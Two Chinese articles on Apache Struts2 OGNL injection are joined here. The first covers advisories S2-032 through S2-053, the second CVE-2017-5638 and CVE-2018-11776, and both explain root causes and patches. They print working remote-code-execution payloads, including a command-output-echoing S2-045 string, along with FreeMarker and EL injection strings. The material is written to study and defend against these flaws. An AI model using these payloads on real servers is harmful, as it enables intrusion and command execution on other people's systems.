    } 修复 这一次的修复放在了OgnlUtil处,选择了治标治本的方法,直接对AST树的执行权限做了限制。(之前第一次对AST树执行权限的限制仅仅是对ATSChain类的执行做了限制,而此次构造的payload生成的是ATSSequence类,所以这次也对这个类的执行做了限制) S2-032 适用版本:2.3.20 - 2.3.28(2.3.20.3和2.3.24.3除外) 这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。(低版本ST2的DynamicMethodInvocation默认为true,高版本默认为false) 简易pochttp://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes 这一次的poc有几个非常奇妙的地方,需要一一留意。 1、为什么这一次没有直接写成@java.lang.Runtime@getRuntime().exec('whoami')的形式,而写成了@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D)的形式。 有心的同志们可要去尝试一下第一种写法,会发现会报OGNL表达式错误,根本原因就在于使用method:的时候ST2会去创建一个ActionProxy来执行method后面的内容,当我们把内容放到StrutsActionProxy类的构造函数中去创建代理对象的时候会对我们传进来的表达式做一次编码,导致最后进入ognl.getValue中的表达式变成了@java.lang.Runtime@getRuntime().exec(\'whoami\'),从而导致了ognl表达式的报错。而request中所有的参数都会放在context中,可以通过#parameters.参数名[0]的方式获取,非常方便。 2、为什么poc末尾会有一段非常奇怪的:',d'。这个问题要去看一下DefaultActionInvocation类, 可以看到在传给ognl.getValue之前,代码会给我们传过来的表达式后面加一个括号,而我们的poc写成 ,d的形式只是为了去构成一个形如d()的函数形式,防止ognl表达式报错。 原理 在S2-016中,我们已经介绍过,ST2处理url中处理method:这类写法的代码在DefaultActionMapper中,我们去看一下。 看到的那个if语句,也就是我们需要保证DynamicMethodInvocation为true的原因。 看一下造成rce的调用栈, 这一次调用栈也非常简单,关键的poc构造部分在上面已经解析完了,我这里依旧文字说明一下流程:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。 修复 这一次的修复是把传过来的methmod的值放到了cleanupActionName函数中做了一下正则过滤。this.allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*"); 看到这里有人会产生疑问,分明S2-029的修复补丁中把AST树的执行权限都禁了,怎么还能执行成功,我专门去看了一下2.3.28的代码,万万没想到,2.3.24.3的补丁代码没了,这也是为什么2.3.28可以利用而2.3.24.3除外的原因。 注:S2-033和S2-037与032的利用原理、修复补丁基本相似,所以不再分析。 S2-045 适用版本:2.3.5 - 2.3.31, 2.5 - 2.5.10 这次的漏洞,官方通告中说的是上传组件的问题导致的RCE漏洞,但是利用的话,随便任意一处.action都可以利用成功。 简易pocContent-Type:%{(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())} 关于poc有一处细节非常重要,我们可以看到连接每个表达式的不再是',' 而变成了'.' ,有心的同学可以去试一下使用','是不行的,问题就出在了S2-029的补丁把ATSSequence树给禁了,而用','连接生成的AST树都是ATSSequence树,使用之所以使用'.'也就是为了绕过S2-029的补丁。 原理 这一个漏洞的调用链还是和之前的有很大的不同的, 我们这次从Dispatcher类开始分析,这也是ST2刚收到request时候的处理类,当ST2收到的request包包含Content-Type,并且Content-Type中包含“multipart/form-data”的时候会把请求交给MultiPartRequestWrapper处理, MultiPartRequestWrapper会使用JakartaMultiPartRequest类去处理上传,文件,当上传文件出错的时候,就会调用buildErrorMessage函数处理报错, 接下来,经过几个函数后,报错的信息被传入了TextParseUtil.translateVariables,translateVariables会在后续的调用中将报错信息中用%{}包裹的内容带入ognl.getValue(这些都是前面提到过的了),而这个报错信息,就包含的有我们Content-Type头中的所有内容,从而导致传入ognl中的值攻击者可控,造成了RCE漏洞。 修复 这个漏洞修复比较简单,就是不把报错的信息放到LocalizedTextUtil.findText函数中去了,从而保证报错的content-type不被带进ognl。 S2-046的漏洞原理和修复与045一样,区别在于触发报错的方式和ognl表达式的注入点不一样,不再详细分析。 S2-048 适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本 048的利用场景也是比较苛刻的,简单的说是当传入ActionMessage的值是用户可控的情况下,攻击者可以通过传入恶意的payload造成RCE。 示例代码就贴一下官方showcase Demo中可以利用成功的SaveGangsterActionpublic class SaveGangsterAction extends Action {

    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {

    GangsterForm gform = (GangsterForm) form;

    ActionMessages messages = new ActionMessages();

    // gform参数的name字段用户可控切被传入了ActionMessage类,满足了攻击条件。

    messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));

    addMessages(request, messages);

    return mapping.findForward("success");

    }

    } 简易POC 这里的poc也是以showcase app中的saveGangster.action作为示例的。name=${(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}&age=11&__checkbox_bustedBefore=true&description=22 原理 虽然举的例子是SaveGangsterAction,但是漏洞的真正触发点是在Struts1Action,当在ST2中需要去使用ST1的类的时候就需要去调用这个Struts1Action类,像刚刚举例的SaveGangsterAction类中,Action、ActionMapping、ActionMessage、ActionMessages类都是ST1中的。 我们先去整体看一下调用链,可以注意到虽然访问的是SaveGangsterAction类,但调用链中还交给Struts1Action去处理的, 这个调用链跟的比较长,但其实可以跟的很短,这就需要一个良好的ST2漏洞发掘经验,我们可以明确一个思路:只要看到可控的参数被传到了TextParseUtil.translateVariables或ActionSupport.getText方法了,就说明这个参数最终会被交给OGNL.getValue。 直接去跟进Struts1Action.execute, 其中ActionForward forward = action.execute(mapping, this.actionForm, request, response); 就是去执行SaveGangsterAction的execute方法,然后就去获取传给ActionMessage的值 ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE"); 最后传给了ActionSupport.getText从而成功在后续的调用中把payload交到了OGNL.getValue中,造成RCE。this.addActionMessage(this.getText(msg.getKey())); 修复 这次的修复ST2不是在自己代码中去做的,而是给出了当在ST2中使用struts2-struts1-plugin的规范,以SaveGangsterAction为例 要写成messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName())); 而不能写成messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added")); 简单的说就是不要把前端可控参数传到ActionMessage的key中,如果真需要把前端可控参数传给ActionMessage,就传到value中。 S2-053 适用版本:2.0.0 - 2.3.33 , 2.5 - 2.5.10.1 053版本的利用条件也比较苛刻,只有服务端将用户可控的参数放到了Freemarker的标签属性中的时候,才会造成RCE,实例写法如下,<@s.url value="${name}"/> 当name参数是客户端传过来的时候,就会在ST2服务器上造成RCE 简易POChttp://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d 原理 看一下调用链, 因为漏洞触发是发生在ST2返回页面的时候,所以调用链就从StrutsResultSupport.execute开始跟,st2看到返回的页面是Freemarker模板的,所以交给FreemarkerResult类处理,Freemarker在处理的时候需要去找name的值以便生成完整的标签,于是通过ST2去findString,发现name参数是ognl表达式,于是交给了ognl.getValue,造成了rce。 修复 这次的修复是在FreemarkerManager中多了两行代码, LOG.debug("Sets NewBuiltinClassResolver to TemplateClassResolver.SAFER_RESOLVER", new String[0]);

    configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); 去看了一下TemplateClassResolver.SAFER_RESOLVER)的官方文档,TemplateClassResolver.SAFER_RESOLVER now disallows creating freemarker.template.utility.JythonRuntime and freemarker.template.utility.Execute. This change affects the behavior of the new built-in if FreeMarker was configured to use SAFER_RESOLVER, which is not the default until 2.4 and is hence improbable. 大致意思应该就是禁止了freemarker的RCE,具体我对freemarker不太了解,就不去误人子弟了。 总结 这里的总结我们就通过一张表格去概括了。 漏洞名称 命令注入位置 OGNL执行函数 漏洞成因 S2-001 参数值 Ognl.getValue 当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。 S2-003 参数名 Ognl.setValue 通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue S2-005 参数名 Ognl.setValue S2-003的绕过,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁 S2-007 参数值 Ognl.getValue 当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue S2-009 参数值和参数名的配合 Ognl.setValue 003和005的绕过通过构造一个带有payload的值a传给ognl,再通过把(b)(a)带如ognl.setvalue从而造成和005一样的rce S2-012 重定向参数 Ognl.getValue 计算重定向url的时候会把重定向参数的值放入ognl.getvalue中 S2-013 使用特殊s:url或者s:a标签的action的参数值 Ognl.getValue 计算标签中action路径的时候,会把参数值带入ognl.getvalue S2-015 action值 Ognl.getValue 计算重定向url的时候会把action的值放入ognl.getvalue中 S2-016 action:或redirect:\redirectAction:后面的值 Ognl.getValue 同012 S2-019 debug和expression的参数值 Ognl.getValue ST2开启调试模式的时候,自带的可以执行ognl表达式的功能 S2-029 写入jsp中st2标签特殊属性值中的参数值 Ognl.getValue 返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue S2-032 method:后的参数值 Ognl.getValue 计算返回结果的时候,ST2就开始去计传过来的method:后面的值,从而把内容放进了ognl.getValue S2-045 Content-Type的值 Ognl.getValue ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue S2-048 传入ActionMessage的key中的参数值 Ognl.getValue ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue S2-053 Freemarker的标签属性中的参数值 Ognl.getValue 计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中 *本文作者:Glassy@平安银行应用安全团队,转载请注明来自FreeBuf.COM # Struts2 # RCE漏洞 # ognl

    已在FreeBuf发表 0 篇文章

    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

    被以下专辑收录,发现更多精彩内容

    + 收入我的专辑

    + 加入我的收藏

    展开更多

    相关推荐

    关 注 0 文章数 0 关注者 本站由阿里云 提供计算与安全服务 用户服务 有奖投稿 提交漏洞 参与众测 商城 企业服务 安全咨询 产业全景图 企业SRC 安全众测 合作信息 斗象官网 广告投放 联系我们 友情链接 关于我们 关于我们 加入我们 微信公众号 新浪微博 战略伙伴 FreeBuf+小程序 扫码把安全装进口袋 斗象科技 FreeBuf 漏洞盒子 斗象智能安全平台 免责条款 协议条款

    Copyright © 2020 WWW.FREEBUF.COM All Rights Reserved

       沪ICP备13033796号

    |

    沪公安网备

    实例讲解Apache Struts框架OGNL注入漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院

    实例讲解Apache Struts框架OGNL注入漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院

    登录/注册

    投稿

    首页

    威胁情报

    安全动态

    漏洞预警

    数据泄露

    新闻浏览

    图表统计

    专题报告

    技术分析

    安全工具

    实例讲解Apache Struts框架OGNL注入漏洞

    secM  1823天前

    在本文中,我们将为读者详细介绍ApacheStruts框架中的OGNL注入漏洞的相关原理。为了便于读者进行理解,我们将通过Struts中的两个高危漏洞为例进行演示,这两个漏洞分别是CVE-2017-5638和CVE-2018-11776。ApacheStruts是一个免费的开源框架,用于创建优雅的现代Java Web应用程序。跟许多框架一样,这个框架也有一些严重的安全缺陷,其中包括OGNL-ob ject-Graph Navigation Language,它是许多漏洞的核心。其中一个漏洞(CVE-2017-5638)导致了2017年的Equifax入侵事件,致使超过1.45亿美国公民的个人信息被泄露。谁能想到,一家年营收超过30亿美元的公司,竟然被ApacheStruts Model-View-Controller(MVC)框架中的一个已知漏洞攻陷了。在本文中,我们首先对ApacheStruts进行了简单的介绍,然后,讲解如何对应用程序进行修改,并描述了OGNL的正常用法以及利用方法。接下来,我们将深入研究针对该平台的攻击方法,并通过OGNL注入漏洞来加深读者对此类漏洞的认识。对于Java开发人员来说,通常都对Apache Struts框架比较熟悉,但是,在安全社区中,情况恰恰相反——这就是写作本文的原因。简介 为了运行易受攻击的Struts应用程序,需要先行安装Apache Tomcat Web服务器。为此,可以从这里下载ZIP格式的最新安装包。然后,将二进制文件提取到您指定的目录下(例如,/var/tomcat),然后执行: cd /var/tomcat/bin # Go to the extractedfolderchmod +x *.sh      # Set sc ripts as executable./startup.sh       # Run the startup sc ript 然后,导航至http://localhost:8080/,检查它是否正常运行。如果一切正常的话,继续下载一个版本较旧的Apache Struts框架,因为这些版本更容易受到我们要演示的漏洞的攻击,比如,可以从这里下载的2.3.30版本的Struts。下载该软件之后,将其解压,这时,可以在/apps目录下面看到一个struts2-showcase.war 文件,这是一个编译好的、准备好部署使用Struts的演示应用程序。然后,将这个WAR文件复制到/var/tomcat/webapps,并转到http://localhost:8080/struts2-exhibition/showcase,检测其是否工作正常。Web服务器基础知识 对于熟悉Java Web应用程序相关知识(比如servlet)的读者,可以跳过这一部分内容。如果您对Java Servlet一无所知,只需把它看成一个组件即可,其作用是为Web服务器上的Web应用程序创建Web容器;同时,它们还能用来处理对/struts2-showcase等Java应用程序的请求。为了处理servlet,Web服务器(例如Apache Tomcat)需要用到一些组件: Apache Coyote是一个连接器,支持HTTP/1.1协议。通过它,可以与Servlet容器组件Apache Catalina进行通信。Apache Catalina是一个容器,用于确定Tomcat接收HTTP请求时需要调用哪些servlet。此外,它还能将HTTP请求和响应从文本格式转换为servlet所使用的Java对象。 您可以从这里找到关于Java Servlet规范的所有细节(最新版本为4.0)。Apache Struts基础知识 与Java Web应用程序类似,使用Apache Struts框架的应用程序可以支持多个servlet。当然,对于这个构建Web应用程序的框架的全面介绍已经超出了本文的范围,所以,这里只会大体介绍其基本概念。对这方面的知识感兴趣的读者,可以参阅这里。Apache Struts框架是基于MVC(模型-视图-控制器)架构模式的。它对应用程序来说非常有用,因为可以将应用程序的主要组件隔离开来:    模型——处理应用程序的数据,例如处理“订单”等数据的类    视图——处理应用程序的输出,可视部分    控制器——接收用户输入,通过模型生成视图    动作(Action)——Apache Struts中的模型    拦截器——控制器的一部分,它们是可以在处理请求前后调用的钩子    值栈/OGNL——一组对象,例如Model或Action对象    结果/结果类型——用于规定执行业务逻辑后选择哪些视图    视图技术——处理数据的显示方式  Apache Struts Web应用程序的一般体系结构如下所示: 控制器接收HTTP请求,FilterDispatcher负责根据请求调用正确的动作。然后执行该动作,视图组件准备结果,并通过HTTP响应将其发送给用户。Struts应用程序示例由于从头开始编写Struts应用程序比较费时,所以,这里将使用一个已经写好的演示应用程序,它是一个带有基本前端的简单REST API。要编译应用程序,我们只需要进入相应目录,然后使用Maven完成构建即可: cd struts-2.3.30/src/apps/rest-showcase/mvn package在target目录中,我们可以找到struts2-rest-showcase.war文件。之后,我们可以将它复制到Tomcat服务器的webapps目录,例如/var/tomcat/webapps,然后就可以安装了。下面是该应用程序的源代码: 以下是相关文件的说明: 其中,Order.java是模型,即一个存储订单信息的Java类。   public class Order {    String id;    String clientName;    int amount;    …    }   OrdersService.java是一个助手类,用于将订单存储到HashMap中,并负责对其进行相应的管理。    public class OrdersService {    private static Map orders = new HashMap();    …    } IndexController.java和OrderController.java是Struts应用程序的控制器或动作。我们还可以看到代表视图的多个JSP文件。以及web.xm l和struts.xm l之类的配置文件。服务器端模板与注入 JSP通过将静态HTML与在服务器上执行的动态代码相混合来生成动态HTML代码。与PHP类似,它也可以混合使用Java和HTML代码。例如:         

  • First Name:           <%=request.getParameter("first_name")%>        

  •         
  • Last Name:           <%= request.getParameter("last_name")%>        

  •  如上所示,我们可以将请求对象与HTML代码一起使用,并调用getParameter函数,该函数将返回参数first_name和last_name的值。 需要注意的是,一定要遵循MVC设计模式,并避免将视图(JSP)和模型/控制器(Java)搞成一锅粥,有可能的话,可以在JSP文件中使用表达式语言。这是一种特殊的编程语言,能够让视图与Java应用程序相互通信:   Box Perimeter is: ${2*box.width + 2*box.height} 该功能也称为服务器端模板,因为它允许在服务器上创建HTML模板,以实现HTML和Java代码组合的轻松管理。实际上,我们可以使用多种服务器端模板引擎,例如FreeMarker、Velocity或Thymeleaf。这样,我们不仅可以在后端使用Java,同时,还可以通过模板引擎使用一些特殊的编程语言,这就为服务器端模板注入漏洞奠定了基础。与其他漏洞一样,当模板引擎解析或解释用户提供的数据时,有时会出现问题。为了提高实用性,这些模版引擎通常会提供大量的功能,因此,模板引擎通常包括调用函数的方法,这就为执行操作系统命令敞开了大门。下面,我们以FreeMarker模板引擎为例进行演示: ${title}…<#if animals.python.price == 0>Pythons are free today!在上面的代码中,只要条件满足,则会动态生成相应的标题和消息。利用这一点,攻击者可以打印动态内容,而这些内容则有可能是敏感信息,如应用程序配置数据。此外,如果模板引擎允许,攻击者还可以执行操作系统命令。下面我们以FreeMarker为例进行演示: <#assignex="freemarker.template.utility.Execute"?new()> ${ex("id") }表达式语言注入漏洞 表达式语言通常用于创建服务器端模板,因此,它也可以被视为服务器端模板引擎。但是,鉴于它也用于其他目的,因此,其中的漏洞并非严格意义上的注入类型。下面,我们给出一些例子: ${customer.address["street"]}${mySuit == "hearts"}${customer.age + 20}#{customer.age}${requestScope[’javax.servlet.forward.servlet_path’]} 用户也能执行自己提供的表达式语言代码,因此,应用程序可能容易受到表达式语言注入的攻击。如这篇文章所介绍的那样,由于使用了 ${EL} 语法,所以,很容易找到表达式语言的各种安全缺陷。例如,一个简单的数学运算,例如${9999+1}计算结果为10000,这在响应中是可见的。如果这些对攻击者来说作用不大的话,他们还可以使用表达式语言的默认范围来检索实用信息,例如${applicationScope}或${requestScope}。进一步说,表达式语言注入可以用来修改会话对象,并将用户的权限提升到admin级别: ${pageContext.request.getSession().setAttribute("admin",true)}最后,甚至可以使用以下代码执行远程代码: ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()} 通过拒绝用户向表达式语言解析函数提供输入、保证使用最新版本的依赖库,甚至条件允许的情况下对对用户输入中的#{和${序列进行正确的处理,就可以防止此类漏洞。对象图导航语言注入  对象图导航语言(ob ject-GraphNavigation Language,OGNL)是一种面向Java的开源表达式语言。OGNL的主要功能是读取和设置对象属性:“使用Java语言可以做到事情,大部分也可以通过OGNL语言来完成。” 比如,如果我们按照下面的方式来处理订单, public class Order {String id;String clientName;int amount;… }则可以在JSP文件中直接访问订单的属性,如下所示: <%@taglib prefix="s"uri="/struts-tags" %>...` ID`` Client`` Amount` 我们可以使用%{code}和${code}序列来计算OGNL表达式。正如其文档所述,OGNL允许: 访问属性,如name或者headline.text 调用ToCharArray()等方法 访问数组元素,如listeners[0] 甚至将它们组合在一起:name.toCharArray()[0].NumericValue.toString() 此外,我们还可以使用变量(#var=99)、创建数组(new int[]{1,2,3})或映射(#@java.util.LinkedHashMap@{“foo”:“foo value”、“bar”:“bar value”}),甚至访问静态字段(如@class@field,或调用静态方法:@class@method(args))。 虽然OGNL是一种功能强大的语言,但是,在Apache Struts中,将用户提供的输入视为OGNL可能会带来安全隐患。让我们举一个简单的例子,在rest-showcase应用程序中引入一个漏洞。 对于所有Order属性,我们都提供了相应的getter和setter方法,例如: public String getClientName() {return clientName;}public void setClientName(StringclientName) {this.clientName = clientName;} 通过导入三个额外的包并调用TextParseUtil.translateVariables方法,就可以修改setter,从而使其易受OGNL注入攻击。在我们的示例中,修改的部分会检查clientName参数中的值。importcom.opensymphony.xwork2.ActionContext;importcom.opensymphony.xwork2.util.TextParseUtil;importcom.opensymphony.xwork2.util.reflection.ReflectionContextState;… public void setClientName(StringclientName) {ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(),false);` `this.clientName =`**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());translateVariables方法将执行至以下代码: TextParser parser =((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);return `**parser.evaluate**`(openChars,ex pression, ognlEval, maxLoopCount);这样就会计算OGNL表达式(OgnlTextParser.java)。接下来,我们可以重新编译应用程序,启动后,就可以尝试利用clientName参数中的漏洞了。在这里,最简单的测试方法就是使用简单的数学运算,例如%{999 + 1}。 修改订单后,客户名称将被解析为OGNL,并通过成功执行数学运算来进行确认。 既然我们知道参数是易受攻击的,当然可以在测试中使用它了。需要注意的一点是,在调用translateVariables函数之前,我们需要先调用setDenyMethodExecution。这是必要的,因为在设置参数值时,正如我们在这里所做的那样,作为一项保护措施,方法执行将被拒绝,因此,我们将无法执行任何方法。如果在漏洞利用阶段遇到类似的漏洞,可以直接从payload中启用方法执行特性,然后,就可以调用任意方法了: (#context['xwork.MethodAccessor.denyMethodExecution']=false)在这里,要特别感谢mmolgtm指出这一点!调试Java应用程序在IDE的内置调试器中运行Java应用程序,可以帮助我们加深对应用程序和漏洞的理解,因为它为理解漏洞利用工作原理提供了清晰的、循序渐进的视图。调试易受攻击的应用程序带来的好处还有很多,例如能够在代码中随意设置断点,以及检查和修改各种变量。使用旧的Java应用程序(如Struts 2.3.30)时,可能需要更改某些设置,以允许在调试器中编译和运行它们。以下是我们的一些建议:      转至Run > Debug >Edit Configuration     单击+,并选择Maven     通过选择Maven项目来指定工作目录,例如rest-showcase     指定以下命令行:jetty:run -f pom.xm l(Jetty是Web服务器)现在,我们就可以轻松地在setClientName方法上设置断点了:将浏览器导航至http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml,为其中一个订单选择Edit选项,然后单击Submit开始编辑订单。这样就会触发对setClientName的调用,并命中断点。 CVE-2017-5638成因分析CVE-2017-5638是Struts中最著名的一个漏洞,主要是因为它被用于Equifax数据泄露事件。实际上,安全社区已经对其进行了详细的研究,这里只是其中的两份研究报告。Exploit-DB提供了一个漏洞利用代码,我们可以下载并运行它:  python CVE-2017-5638.pyhttp://localhost:8080/struts2-showcase/showcase.action "touch/tmp/pwned"[*] CVE: 2017-5638 - Apache Struts2 S2-045[*] cmd: touch /tmp/pwned这样,便会在“/tmp/pwned”目录中创建一个文件: CVE-2017-5638的问题在于,利用该漏洞时,框架和使用它的应用程序不需要做任何事情,这是最糟糕的一种情况。 调试器是了解漏洞成因的最快捷的方法。首先,在translateVariables方法上设置断点——利用该漏洞时会用到该方法,然后,运行漏洞利用代码。python CVE-5638.pyhttp://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'这将提供完整的堆栈跟踪信息,包括所需的所有数据。结果如下所示:  如果我们浏览一下堆栈,就能清楚地掌握正在发生的事情。它使用doFilter(…)方法来处理请求,该方法将调用prepare.wrapRequest(request);方法 WrapRequest会调用dispatcher.wrapRequest(request);在这个方法中,我们可以找到一些有趣的东西: String content_type =request.getContentType(); if (content_type != null &&content_type.contains("multipart/form-data")) { …request = new MultiPartRequestWrapper(mpr,request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`} else {request = new StrutsRequestWrapper(request,disableRequestAttributeValueStackLookup);}如果请求的Content-Type头部中包含字符串multipart/form-data,则框架将使用MultiPartRequestWrapper类。     接下来,解析该请求:multi.parse(request, saveDir);     这个方法将试图解析该请求,但发现Content-Type无效后会抛出异常: if ((null == contentType) ||(!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw newInvalidContentTypeException( format("the request doesn't contain a %s or%s stream, content type header is %s", MULTIPART_FORM_DATA,MULTIPART_MIXED, contentType));   该异常将导致调用buildErrorMessage,它会执行以下方法: LocalizedTextUtil.findText (this.getClass(),errorKey, defaultLocale, e.getMessage(), args); (其中e.getMessage()是包含漏洞利用代码的错误消息)   这会导致调用返回findText(aClass, aTextName, locale, defaultMessage, args,valueStack);   然后,调用result = getDefaultMessage(aTextName, locale, valueStack,args, defaultMessage);   接下来,将引发一个处理该异常的调用:MessageFormat mf =buildMessageFormat(TextParseUtil.translateVariables(message, valueStack),locale);   然后,调用处理异常的“translateVariables”方法:该请求不包含multipart/form-data或multipart/mixed流,内容类型头部为%{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)… 实际上,利用该漏洞的总体思路很简单:利用带有OGNL表达式的无效内容类型头部来触发CVE-2017-5638漏洞。由于某种原因,这个带有OGNL表达式的异常消息会被解析。CVE-2018-11776成因分析 要利用该漏洞,我们需要Struts2.5.16,读者可以从这里下载。根据这里的两篇文章的介绍,攻击者在自定义配置情况下,我们可以成功地利用该漏洞: 切换到Struts-2.5.16目录:CD Struts-2.5.16/ 并搜索struts-actionchaining.xm l文件:find . -name struts-actionchaining.xm l 编辑xm l文件,如./src/apps/showcase/src/main/resources/struts-actionchaining.xm l然后,修改标记,将其值改为:                                                               register2                                    这允许我们将struts2-showcase应用程序作为目标。然后,进行编译:    1.cd src/apps/showcase/ # Go to Showcase directory   2.mvn package -DskipTests=true # Compile it (and skip tests)   3.cp target/struts2-showcase.war /var/tomcat/webapps/ # Copy to Tomcat现在,我们可以通过在Web浏览器中加载以下内容来检查该应用程序是否易受攻击: http://127.0.0.1:8080/struts2-showcase/**${22+22}**/actionChain1.action如果可利用的话,我们将被重定向到http://127.0.0.1:8080/struts2-showcase/44/register2。这里提供了一个包含大量技术实现细节的漏洞利用代码。为了利用该漏洞,我们需要使用C编写的漏洞利用程序。 我们需要通过URL发送两个请求,其中存放经过编码的payload:1. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))} 2. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=newjava.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())} 然后,会看到:   1. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action  2. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action如果一切正常,应该会弹出计算器:  通过调试器考察有效载荷有助于了解其工作原理。请注意,/struts2-showcase/${2+4}/actionChain1.action在Struts中称为命名空间,actionChain1是动作。调用execute(ActionInvocationinvocation)方法具有以下效果: if (namespace == null) {         namespace= invocation.getProxy().getNamespace(); // namespace is “/${2+4}”}…String tmpLocation =actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace,method, null));setLocation(tmpLocation); // tmpLocation is“/${2+4}/register2.action”super.execute(invocation);execute方法也会调用super.execute(invocation);然后,调用下面的方法: /**Implementation of the `execute` method fromthe `Result` interface. This will call the abstract method{@link #doExecute(String,ActionInvocation)} after optionally evaluating the location as an OGNLevaluation/*  public void execute(ActionInvocationinvocation) throws Exception {         lastFinalLocation= conditionalParse(location, invocation);         doExecute(lastFinalLocation,invocation);}conditionalParse方法将解析OGNL表达式的参数: /**Parses the parameter for OGNL ex pressionsagainst the valuestack…*/ protected String conditionalParse(Stringparam, ActionInvocation invocation) {         if(parse && param != null && invocation != null) {                  returnTextParseUtil.translateVariables(                          param,                          invocation.getStack(),                          new EncodingParsedValueEvaluator());CVE-2017-5638 和 CVE-2018-11776 payloads:(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#context['xwork.MethodAccessor.denyMethodExecution']=false).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch/tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) 1. #_=’multipart/form-data’ ——一个随机变量,这是必须的,因为在我们的payload中,需要通过multipart/form-data字符串才能触发该漏洞  2.#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – create the dm variablewith the value of DefaultMemberAccess (more permissive thanSecurityMemberAccess) 